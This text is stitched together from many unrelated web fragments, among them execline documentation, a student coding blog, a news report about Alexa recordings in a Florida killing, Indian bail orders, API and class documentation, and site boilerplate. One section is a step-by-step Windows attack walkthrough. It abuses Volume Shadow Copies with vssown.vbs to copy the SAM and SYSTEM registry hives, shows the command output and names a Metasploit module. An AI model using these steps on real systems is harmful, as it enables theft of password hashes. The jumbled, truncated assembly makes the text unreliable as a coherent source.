a shell is overpowered - we only need a way to make an argv
from the "nice -10 echo blah" string, and execve()
into that argv.
- Unix systems have a size limit for argv+envp,
but it is high. POSIX states that this limit must not be inferior to
4 KB - and most simple scripts are smaller than that. Modern systems
have a much higher limit: for instance, it is 64 KB on FreeBSD-4.6,
and 128 KB on Linux.
Knowing that, and wanting lightweight and efficient scripts, I
wondered: "Why should the interpreter stay in memory while the script
is executing? Why not parse the script once and for all, put
it all into one argv, and just execute into that argv,
relying on external commands (which will be called from within the
script) to control the execution flow?"
execline was born.
Grammar of an execline script
An execline script can be parsed as follows:
<instruction> = <> | external options <arglist> <instruction> | builtin options <arglist> <blocklist> <instruction>
<arglist> = <> | arg <arglist>
<blocklist> = <> | <block> <blocklist>
<block> = { <arglist> } | { <instrlist> }
<instrlist> = <> | <instruction> <instrlist>
(This grammar is ambivalent, but much simpler to understand than the
non-ambivalent ones.)
execline features
execline commands can perform some transformations on
their argv, to emulate some aspects of a shell. Here are
descriptions of these features:


-
This week I got blocked on a simple problem relating to exercise 5.3 Altering the DOM. The last exercise required displaying a div element which is normally accessible by using the getElementById class. However, this was invisible so it involved writing a new function, makeVisible including the class, getElementsByClassName. I'd noticed in previous 'Slack' chat that this had posed a problem and focused on the array and how to deal with the value 0 being returned. I didn't know where in the getElementsByClassName to place the [0]. I referred to the 'MDN' documentation, searched Google, and played at will trying different combinations. Little did I know, I'd resolved the exercise but wasn't expecting to see the DIV displayed as a square represented by dotted lines. After much frustration I retired for the evening, I ended up posting a cry for help on Slack the following morning which resolved the issue.
I solved a problem in an elegant way by listening to my cohorts via Slack. I hadn't taken enough time to read the material and instructions as part of Chapter 2 "Program Structure" of Eloquent Javascript. Here I was scripting away in Sublime wondering why I couldn't validate the JavaScript I was writing in the browser. I started searching online for downloads and also playing with the menus within the VM. I dived in again thinking how far I was behind; I ended up further behind. Once up and running, some of the exercises I stripped back to basics and tried to work through in a methodical fashion. I had to refer to a couple of the answers to valdate my knowledge, or lack of as it turned out.
How confident do I feel using problem solving techniques and related processes At this point 'Trying something' has been high up on the list, closely followed by reading previous Slack messages. I get bamboozled very easily by Googling for solutions; it helps if you understand what you are trying to achieve. Sometimes it's just copy and paste without really understanding why, but the exercise has been completed successfully. Examples definitely help, although for me I really need to practise over and over writing out the statements, as it's very much like mathematics which I struggled with (and still do). Pseudo helps to a degree, but again, it's knowing in Java what I need to reflect the Pseudo in terms of arguments, operators etc. I haven't used the 'Rubber ducky method' infact I'm wondering what the hell that even is - I must of rushed through again. My approach to sprints requires further reflection!!
What do the functions .map(), .filter(), and .reduce() do? .map() basically creates a new array out of the results returned from an existing array. Applying .filter() to an existing array of elements will create a new array with only the filtered elements. The .reduce() function can be used to take a collection of numbers or a string of words and append or add them to a variable that you have declared.


Amazon Alexa may have recorded moment woman was killed during row with boyfriend
Cops in Hallandale Beach in Florida have obtained recordings from the devices from Amazon's server
by Joseph Wilkes, https://www.facebook.com/dailymirror/Police believe two Amazon Alexa smart speaker devices may have captured audio of the moment a man killed his girlfriend.
Officers in Hallandale Beach in Florida, US, told local media they had received recordings from Amazon after beginning an investigation into Adam Reechard Crespo.
The 43-year-old has been charged with murder after the death of 32-year-old Silvia Galva.
The NYPost reports Crespo told police he tried to drag Galva off his bed during an argument on July 12, in which he claims she took hold of a spear which had a 12-inch blade.
Crespo claims he heard the spear snap as he pulled her off the bed before turning around and realising the blade was in his girlfriend's chest.
The NYPost reports he told police that he pulled the blade out as he hoped his girlfriend's wounds were "not too bad".
Police wrote a probable cause statement to obtain a warrant to search the address and demand the recordings from Amazon. This was a month after the alleged incident.
They said: "It is believed that evidence of crimes, audio recordings capturing the attack on victim Silvia Crespo that occurred in the main bedroom…may be found on the server maintained by or for Amazon.”
Police have not made clear what evidence may be contained in the data recorded by two Alexa devices between July 11 and July 12.
Amazon spokesperson Leigh Nakanishi told the South Florida Sun-Sentinel : “No audio is stored or sent to the cloud unless the device detects the wake word.”
Amazon's Alexa devices do not start recording until a user says something like 'Alexa,' 'Amazon,' 'computer” or 'Echo'.
Amazon's website states: "You’ll always know then Alexa is recording and sending your request to Amazon’s secure cloud because a blue light indicator will appear or an audio tone will sound on your Echo device."
The devices have a mute button that electronically disconnects the microphones and which allows users to review their recordings at any time and delete them.
Crespo posted a $65,000 bond and was released from custody. He awaits his next court appearance.


招生宣传片
Enrollment propaganda film
大学生征兵
Colleg Students Recruitment
elementname
新生军训
Excellent graduate
elementname


Learning to delete and rename folders and documents can help your students to remain organized. There are a couple methods that can be used to complete these tasks. Try them all out to see what works best for you. In this lesson, you will be working from within the File Manager
in-context


First of all relax! Everybody does it once in a while. And if you're not doing what you should, you should at least enjoy it! Then check out the sections below for something helpful.
If you want to know more about the science behind all here I can recommend this article from which are some of the exercises.
Remember: Procrastination is an emotion regulation problem, not a time management problem.
Procrastination is interesting, isn't it? It doesn't make sense to do it. Not in your long term interest at all. But still everybody does it. Enjoy and explore!
Showing yourself some compassion is always a great idea. It improves your feeling of self-worth, fosters positive emotions and can help you overcome procrastination, of course. Try a little exercise:
More exercises can be found here or on google.
Think about what might be positive about the task despite its flaws.
Split up the task into as many small chunks as you can.
Done? Then think about it. What would be – strictly theoretical – the first thing you would do if you were to start working on the task? Just think about it...


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Try out our Premium Member services: Virtual Legal Assistant, Query Alert Service and an ad-free experience. Free for one month and pay only if you like it.
IN THE HIGH COURT OF JHARKHAND AT RANCHI A.B.A. No. 4481 of 2015 Manik Chandra Khan @ M.C. Khan .... Petitioner Versus The State of Jharkhand ... Opposite Party ---
CORAM: HON'BLE MR. JUSTICE RONGON MUKHOPADHYAY
---
For the Petitioner : Mr. A. K. Mehta, Advocate For the State : Mr. Manoj Kumar, A.P.P.
---
Order No. 02 Dated 27th April 2016 Heard Mr. A. K. Mehta, learned counsel, appearing for the petitioners and Mr. Manoj Kumar, learned A.P.P. for the State.
Petitioner has prayed for grant of anticipatory bail, as he is apprehending his arrest in connection with C.O. Case No. 21 of 2014, registered for the offences punishable u/s 15 of the Environment Protection Act, 1986, and Section 37,38 and 39 of the Air (Prevention and Control of Pollution) Act, 1981 as also Section 41f and 43 of the Water (Prevention and Control of Pollution) Act, 1974.
It has been submitted by learned counsel for the petitioner that the petitioner was never posted as Project Officer, Lohapatti Sand Ghat, rather the petitioner was posted as Project Officer, Lohapatti Colliery and in support of his contention, learned counsel referred to the office order dated 21.8.2010. It has further been submitted that the sand extraction never crossed its limit and in compliance of letter datede13.12.2013, the mining activity of Lohapatti Sand Ghat Project of M/s. BCCL was stopped.
Learned A.P.P. appearing for the State has opposed the prayer for anticipatory bail of the petitioner, but has not disputed the aforesaid fact.
Regard being had to the above, I am inclined to allow this application. Accordingly, the petitioner, named above, is directed to surrender in the court below within three weeks from today and on such surrender, they shall be released on bail on furnishing bail bond of Rs. 10,000/- (Ten Thousand) with two sureties of the like amount each to the satisfaction of learned Judicial Magistrate, Dhanbad in connection with C.O. Case No. 21 of 2014, subject to the conditions as laid down under Section 438(2) of the Code of Criminal Procedure.
(RONGON MUKHOPADHYAY, J.) MK IN THE HIGH COURT OF JHARKHAND AT RANCHI A.B.A. No. 4490 of 2015 Krishna Narayan Tiwary @ Krishna Narayan Tiwari.... Petitioner Versus The State of Jharkhand ... Opposite Party
---
CORAM: HON'BLE MR. JUSTICE RONGON MUKHOPADHYAY
---
For the Petitioner : Mr. Mithilesh Singh, Advocate For the State : Mr. Rakesh Kumar, A.P.P.
---
Order No. 04 Dated 27th April 2016 Heard Mr. Mithilesh Singh, learned counsel, appearing for the petitioners and Mr. Rakesh Kumar, learned A.P.P. for the State.
Petitioner has prayed for grant of anticipatory bail, as he is apprehending his arrest in connection with Ramgarh P.S. Case No. 121 of 2014 (G.R. Case No. 1407 of 2014), registered for the offences punishable u/s 376,313,493 and 420 I.P.C.
It has been submitted by learned counsel for the petitioner that earlier the informant used to work in the house of the petitioner as maid- servant and since there was some dispute with respect to sell and purchase of land a case was instituted by the wife of the petitioner against informant. It has also been submitted that in the complaint petition itself it has been mentioned about the intimacy which had developed about 7-8 years ago when the informant had gone to the State Bank India, Ramgarh Branch for agriculture loan, where the petitioner was working as Cashier, who asked the informant to come on the next day. It has also been submitted that thereafter the informant always used to visit the bank and meet with the petitioner and therefore it would be improbable that the informant would not be knowing about the marital status of the petitioner. It has also been submitted that the petitioner is a physical disabled person having 60% disability.
Learned A.P.P. appearing for the State has opposed the prayer for anticipatory bail of the petitioner and referring to Paragraph-4, 6 and 18 of the case diary has submitted that some of the witnesses have stated that they were knowing that the informant is the wife of the petitioner.
Apart from inordinate delay in lodging the present case by the informant, the wife of the petitioner had also instituted a case against the informant prior to institution of the present case and therefore institution of the subsequent case by the informant can be said to be with malicious intent and by way of retaliation.


Also look at the ADD (ntds.dit) page regarding VSS, Ninjacopy, and DiskShadow
It consists of abusing the Volume Shadow Copies functionality in modern Windows operating systems to access locked system files like C:\Windows\System32\config's SAM and SYSTEM and others.
You can use the Volume Shadow Copy Management command line interface, vssown, to leverage this technique as follows.
List shadow copies:
C:\>cscript vssown.vbs /list
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
SHADOW COPIES
=============
As expected, no shadow copies initially.
Verify the status of the Volume Shadow Service (VSS):
C:\>cscript vssown.vbs /status
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Stopped
C:\>cscript vssown.vbs /mode
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] VSS service set to 'Manual' start mode.
In this case, once we are done, we need to restore it to the initial state (Stopped).
Create a new shadow copy:
C:\>cscript vssown.vbs /create
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Attempting to create a shadow copy.
Verify that the shadow copy has been created:
C:\>cscript vssown.vbs /list
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
SHADOW COPIES
=============
[*] ID: {D79A4E73-CCAB-4151-B726-55F6C5C3A853}
[*] Client accessible: True
[*] Count: 1
[*] Device object: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
[*] Differnetial: True
[*] Exposed locally: False
[*] Exposed name:
[*] Exposed remotely: False
[*] Hardware assisted: False
[*] Imported: False
[*] No auto release: True
[*] Not surfaced: False
[*] No writers: True
[*] Originating machine: LAPTOP
[*] Persistent: True
[*] Plex: False
[*] Provider ID: {B5946137-7B9F-4925-AF80-51ABD60B20D5}
[*] Service machine: LAPTOP
[*] Set ID: {018D7854-5A28-42AE-8B10-99138C37112F}
[*] State: 12
[*] Transportable: False
[*] Volume name: \\?\Volume{46f5ef63-8cca-11e0-88ac-806e6f6e6963}\
You need to take note of the Device object value for the next step and the ID for the cleanup step.
Pull the following files from a shadow copy:
C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
You have just copied over SAM and SYSTEM files from the shadow copy to the C:\ root folder.
Cleanup:
C:\>cscript vssown.vbs /delete {D79A4E73-CCAB-4151-B726-55F6C5C3A853}
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Attempting to delete shadow copy with ID: {D79A4E73-CCAB-4151-B726-55F6C5C3A853}
Eventually, restore to original Stop status:
C:\>cscript vssown.vbs /stop
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Signal sent to stop the VSS service.
There is a metasploit module to manage Shadow Copies:
post/windows/manage:- create
- list
- mount
- set_storage
- storage


Senior Project
Welcome to Santiago Gutierrez's 2018-19 Senior Project online portfilio!
Learning Log
Card description.
Personal Reflections
Card description.
Card Title
Card description.
Card Title
Card description.
Card Title
Card description.
Card Title
Card description.
Card Title
Card description.
Card Title
Card description.
Card Title
Card description.
Card Title
Card description.


Identity provider based on session_id.
This class serves as the library's default identity provider.
Located in /Scenario/Identity/Provider/Session.php (line 36)
Scenario_Identity_Provider | --Scenario_Identity_Provider_Session
Returns an Identity object based on session_id()
getIdentity() returns a base Scenario_Identity object with the identity string provided by session_id(). If the session is not yet started, it will throw an error, as when to start the session should be up to the developer.
Inherited From Scenario_Identity_Provider
Scenario_Identity_Provider::getIdentity()
Documentation generated on Sat, 23 Oct 2010 17:23:39 -0400 by phpDocumentor 1.4.3


The Book Of Geb
A Groovy web functional testing library, pronounced “Jeb”
Table of Contents
<%= toc %>


About
Gallery
Resume
Contact
Feedback
Please reach out for questions.
First name:
Last name:
Message:


| Jul 23, 2000 | initial revision | |
| Aug 25, 2000 | Combined a few things here. Renamed this page "Targets". | |
| Aug 31, 2000 | Better defined what's not included in the alpha demo. | |
| Oct 7, 2000 | Future iterations detailed. |
We will complete an alpha version of our game for the Gamedev.net compo. This will help create a schedule for us, and maybe provide us with some cooL prizes.
Only 3 people can be submitted with our entry, and only three prizes will be awarded if we win. Though Kevin seems to be okay with additional people working on the project (I will go without a prize if we win - n8).
August 27, 2000 : Draft design document done.
October 7, 2000 : Alpha 1 and final design document submitted.
The alpha version should not be distributed beyond the gamedev.net site and should have a timeout mechanism (November 15, 2000).
Future versions will be available from gratisgames.com - we will ask that those trying alpha/beta versions submit any bugs they find. Each version will expire - we must release an updated version before the prior expires.
Complete by: November 1, 2000
Expires: December 15, 2000
Complete by: December 1, 2000
Expires: February 15, 2001
Complete by: February 1, 2001
Expires: March 31, 2001
This will be the first feature-complete version.
Complete by: March 15, 2001
Expires: April 30, 2001
Complete by: April 15, 2001 (Easter Sunday)
Expires: N/A
This is a freeware game, developed by Divine Entertainment and published by Gratis Games. Gratisgames.com will be the official site for the game.
Once the final version is complete, an effort will be made to put our game on popular download sites, possibly in magazines (CDs), and to cross-link with edutainment and egg-related companies.
Windows 95/98/ME/NT/2000
Highcolor/Truecolor capable graphics card
Pentium 166 MMX or equivalent (MMX is required)
16-bit sound card highly recommended


{% extends '_base.html' %} {% block title %} About {% endblock title %} {% block content %}
There are blogs, and there are photo sharing apps.
Lots of them.
However, none create the feeling of a photo book on your living
room coffee table, where your memories are recorded and captioned.
We have made something that we needed: An online collection of personal
albums, with high res images, captioned, and included with text to tell a
story of our trips, projects, children, or pets. We wanted to share these
with our family and close friends. We want them to be able to comment.
We want
to see their albums, read their stories. We want this without losing rights over
our images and stories. We want this without it being cluttered with advertizing, or
distorted with "influencers" photoshopping and marketing products that
add little to the stories we want to share.
Instead of taking the free (google, facebook) approach, we want to take the
paid (netflix) approach, to make this viable.
It will be free for the first 6 months (no credit card info needed) and then $1/ month after that,
paid annually.


Welcome to Roast Profiles!
This is a sample application demonstrating how to build a CRUD application with Angular.js and RESTful services.
Select a roast in the list on the left to edit the details, or click the New Roast button to add a roast to your list.


KennetJAE1994.ox
replicates the model displayed in Table I, Columns 1-3 in
Kennet (JAE 1994).
Header File:
Ox File:
Output niqlow/examples/output/KennetJAE1994.txt
| Enumerations | ||
| Anonymous enum 1 |
| Public fields | ||
| h | hours state, x1 | |
| inc1 | static const | |
| inc2 | static const | |
| inc3 | static const | |
| inc4 | static const | |
| inc5 | static const | |
| inc6 | static const | |
| q | θ3 vector | |
| sd | shutdown state, x2 | |
| z4 | static const | |
| Public methods | ||
| Engine | ||
| Setq | ||
| Transit |
| Public methods | ||
| Ehours | static | |
| Run | static | Setup and solve the model. |
| Utility | The one period return. |
| Enumerations | ||
| Anonymous enum 1 | NX, Units, MxHrs |
| row | 0 or 1, the row of the table to replicate. |
U = iRC+(1-i)θ1mx + n


Tasks to submit job implementations to the lb-jobs service, and then create new jobs, wait for their termination and collect the results.
Upload a job implementation.
@param job_impl_id
Name of the job implementation (needs to be unique)
@param archive_url
S3 URL of the .tar.gz archive of the implementation
@param metadata
key=value pairs of metadata on the job implementation
@param service
service URL
@param username
username used for authentication
@param key
private key used for authentication
@return job_id
Uploads are asynchronously processed and the progress should be checked with this id.
@return job_impl_id
If input id was not given, then the unique id chosen. Otherwise, the input id.
task lb.jobs.UploadJobImpl(
job_impl_id?,
archive_url,
metadata*?,
service = "https://steve.logicblox.com/job",
username,
key,
driver_meta?
): (job_id, out_job_impl_id?) extends AsyncTask(
driver_meta = $driver_meta,
task_implementation_class = "com.logicblox.workflow.task.steve.UploadJobImpl"
)
Create a new job.
@param job_impl_id
Id of the implementation.
@param correlation
@param queue
@param timeout
@param output
@param output_encryption_key
@param unique_output
@param input
@param metadata
@param service
service URL
@param username
username used for authentication
@param key
private key used for authentication
@return job_id
Job id of the newly created job
task lb.jobs.CreateJob(
job_impl_id,
correlation?,
queue?,
timeout: = "0s",
output,
output_encryption_key?,
unique_output = false,
input*,
metadata*?,
service = "https://steve.logicblox.com/job",
username,
key,
driver_meta?
): (job_id) extends AsyncTask(
driver_meta = $driver_meta,
task_implementation_class = "com.logicblox.workflow.task.steve.CreateJob"
)
Wait for a job to complete.
@param job_id
Job id to wait for
@param poll_delay_seconds
Polling delay
@param fail_on_failure
If false, do not fail if the job completed (this might work better when the output is obtained)
@param service
service URL
@param username
username used for authentication
@param key
private key used for authentication
task lb.jobs.Wait(
job_id,
poll_delay_seconds = 60,
fail_on_failure = true,
service = "https://steve.logicblox.com/job",
username,
key,
driver_meta?
) extends AsyncTask(
driver_meta = $driver_meta,
task_implementation_class = "com.logicblox.workflow.task.steve.Wait"
)
Obtain the output listing of a job
@param job_id
Job id to obtain results for
@param output
Set of S3 URLs
@param service
service URL
@param username
username used for authentication
@param key
private key used for authentication
@return output
task lb.jobs.Output(
job_id,
service = "https://steve.logicblox.com/job",
username,
key,
driver_meta?
): (output*) extends AsyncTask(
driver_meta = $driver_meta,
task_implementation_class = "com.logicblox.workflow.task.steve.Output"
)
The definitions bellow are deprecated and are only here for backwards compatibility. They will eventually be removed from the standard library. Do NOT use them.
DEPRECATED! Use lb.jobs.UploadJobImpl.
workflow lb.steve.UploadJobImpl(
job_impl_id?,
archive_url,
metadata*?,
service = "https://steve.logicblox.com/job",
username,
key,
driver_meta?
): (job_id, out_job_impl_id) {
($job_id = job_id, $out_job_impl_id = out_job_impl_id) <~ lb.jobs.UploadJobImpl(
job_impl_id = $job_impl_id,
archive_url = $archive_url,
metadata = $metadata,
service = $service,
username = $username,
key = $key,
driver_meta = $driver_meta
)
}
DEPRECATED! Use lb.jobs.CreateJob.
workflow lb.steve.CreateJob(
job_impl_id,
correlation?,
queue?,
timeout = 0,
output,
output_encryption_key?,
unique_output = false,
input*,
metadata*?,
service = "https://steve.logicblox.com/job",
username,
key,
driver_meta?
): (job_id) {
($job_id = job_id) <~ lb.jobs.CreateJob(
job_impl_id = $job_impl_id,
correlation = $correlation,
queue = $queue,
timeout = $timeout,
output = $output,
output_encryption_key = $output_encryption_key,
unique_output = $unique_output,
input = $input,
metadata = $metadata,
service = $service,
username = $username,
key = $key,
driver_meta = $driver_meta
)
}
DEPRECATED! Use lb.jobs.Wait.
workflow lb.steve.Wait(
job_id,
poll_delay_seconds = 60,
fail_on_failure = true,
service = "https://steve.logicblox.com/job",
username,
key,
driver_meta?
) {
lb.jobs.Wait(
job_id = $job_id,
poll_delay_seconds = $poll_delay_seconds,
fail_on_failure = $fail_on_failure,
service = $service,
username = $username,
key = $key,
driver_meta = $driver_meta
)
}
DEPRECATED! Use lb.jobs.Output.
workflow lb.steve.Output(
job_id,
service = "https://steve.logicblox.com/job",
username,
key,
driver_meta?
): (output*) {
($output = output) <~ lb.jobs.Output(
job_id = $job_id,
service = $service,
username = $username,
key = $key,
driver_meta = $driver_meta
)
}


Spread the word!
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Events
Events
Events
Events
Spread the word!
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Environment Stats:
Description: Try to keep a frictionless pendulum standing up.
Action (Joint Effort) Min: -2.0 Max: 2.0
Reward: -(theta^2 + 0.1*theta_dt^2 + 0.001*action^2) Theta is normalized between -pi and pi. Therefore, the lowest cost is -(pi^2 + 0.1*8^2 + 0.001*2^2) = -16.2736044, and the highest cost is 0. In essence, the goal is to remain at zero angle (vertical), with the least rotational velocity, and the least effort.
Start State: Random angle from -pi to pi, and random velocity between -1 and 1
Stop State: None
Solve State: None
As a result, I felt I had to manually add to the code a ‘solve case’, which I placed at a reward of greater than -1000. Since the code began with a reward of ~-1700, I assumed that this would be a good benchmark for reinforcing the progress of the code.


I'm a software engineer specializing in full stack web development based in Mumbai, India. I have a passion for development and love to create web, desktop and mobile app projects.
I am fully proficient with full stack web development and have experience of developing and delivering various responsive web applications to SMEs & startups across various business domains.
I have prior experience of developing Desktop software applications and cross-platform mobile applications and have worked with clients across domains.
Product Landing Page
Vristam
MS Spices
Jyoti Handlooms
Wenestor
Fataka Market
Equip Share
Edunomics
Sattva Solar
GoalCial (MovieBuff)
F Cut
Invento
Aakshank
FinAdvisor
Responsive HTML E-Mail
Cost Finder
Cost Finder Mobile App
Pharmacy Management System (GST)
Tribute Page
Simple Survey Form
Web Resources / Doc Page
Portfolio Samples
You can approach me with an work opportunity, freelance project or any other assistance in development or design of project .In case you need any help or if you are stuck with a problem feel free to ping me, i am always ready to help.


Company
Vostok is a Russian brand and a manufacturer of titanium bicycle components. Our production plant is based in Korolev, Moscow Region and our web store operates out of Moscow. The brand was established in 2016 with a mission to produce aftermarket Brompton components and accessories. Production of titanium bicycle frames and parts in Korolev, the birthplace and home of the Russian space industry, has been live since 1991.


| |
Alexandr Shutko |
author of this documentation |
|
| |
Adam Fritzler |
thanks for libfaim and AIM/OSCAR specification |
| |
Alexander Vaga |
thanks for additional SSI details |
| |
Alex Antropoff |
thanks for info that I got from libicq2000 sources |
| |
Alex Demchenko |
thanks for info from icq-devel list and for ICQMenace |
| |
Alexey Emelyanov |
thanks for a lot of documentation updates/fixes |
| |
Andi Smirre |
thanks for bugfixes/updates |
| |
Barnaby Gray |
thanks for info that I got from libicq2000 sources |
| |
Ben Bleything |
thanks for bugfixes |
| |
Brian Moran |
thanks for bugfixes/updates |
| |
Christian Ehrlicher |
thanks for bugfixes |
| |
Danny Milosavljevic |
thanks for bugfixes |
| |
Douglas McLaughlin |
thanks for ICQ info, ICQv8 documentation |
| |
John Roark |
thanks for TLV(0x19) update |
| |
Mark Doliner |
thanks for family 0x13 (SSI) service documentation |
| |
Martin Öberg |
thanks for updates/bugfixes |
| |
Massimo Melina |
thanks for dumpingicq.exe and ICQv8 documentation |
| |
Nils Nordman |
thanks for info that I got from libicq2000 sources |
| |
Ryczard Haase |
thanks for documentation updates/fixes |
| |
Rüdiger Kuhlmann |
thanks for CLSID capabilities info |
| |
Scott Werndorfer |
thanks for libfaim and AIM/OSCAR specification |
| |
Victor Loh |
thanks for updates/bugfixes |
| |
Zoe Smale |
thanks for rate limits info and many oscar details. |


We are seeking your input as a facial pain patient, family member, or medical professional to help us develop our product for more people. Please fill out this form below, or visit and share the form at this link: Form
Audrey is a recent graduate from MIT's Architecture Design school. Ever curious, Audrey has explored countless outlets for her creativity, and uses these experience to contribute product deisgn, fabrication, programming, and web design skills to this project.
Sam is currently attending Tufts University for her Master's Degree in Occupational Therapy. Sam is inspired by her love of research - especially into neuroscience - but also by an unquenchable thirst for trying new things and expressing herself creatively be it through watercolors or song.
Arash is a recent graduate from MIT's Electrical Engineering school. Arash has a creative streak that manifests in his passion for cooking, but also in his ability to problem solve.


Public Member Functions | |
| void | SendString (string s) |
| Sends a string to the client. | |
| void | SendKey (Keys key) |
| Sends a key to the client. | |
| void | SendKey (int key) |
| Sends a key to the client. | |
| void | SendMessage (uint MessageId, int wParam, int lParam) |
| Wrapper for SendMessage function. | |
| void | Click (int x, int y) |
| Clicks with the mouse somewhere on the screen. |
| void Tibia.Objects.Client.InputHelper.Click | ( | int | x, | |
| int | y | |||
| ) |
Clicks with the mouse somewhere on the screen.
| x | ||
| y |
| void Tibia.Objects.Client.InputHelper.SendKey | ( | int | key | ) |
Sends a key to the client.
| key |
| void Tibia.Objects.Client.InputHelper.SendKey | ( | Keys | key | ) |
Sends a key to the client.
| key |
| void Tibia.Objects.Client.InputHelper.SendMessage | ( | uint | MessageId, | |
| int | wParam, | |||
| int | lParam | |||
| ) |
Wrapper for SendMessage function.
| MessageId | ||
| wParam | ||
| lParam |
| void Tibia.Objects.Client.InputHelper.SendString | ( | string | s | ) |
Sends a string to the client.
| s |


Next: standard-generic-function, Previous: compiled-function, Up: Types and Classes Dictionary
generic-function, function, t
A generic function is a function whose behavior depends on the classes or identities of the arguments supplied to it. A generic function object contains a set of methods, a lambda list, a method combination type, and other information. The methods define the class-specific behavior and operations of the generic function; a method is said to specialize a generic function. When invoked, a generic function executes a subset of its methods based on the classes or identities of its arguments.
A generic function can be used in the same ways that an ordinary function can be used; specifically, a generic function can be used as an argument to funcall and apply, and can be given a global or a local name.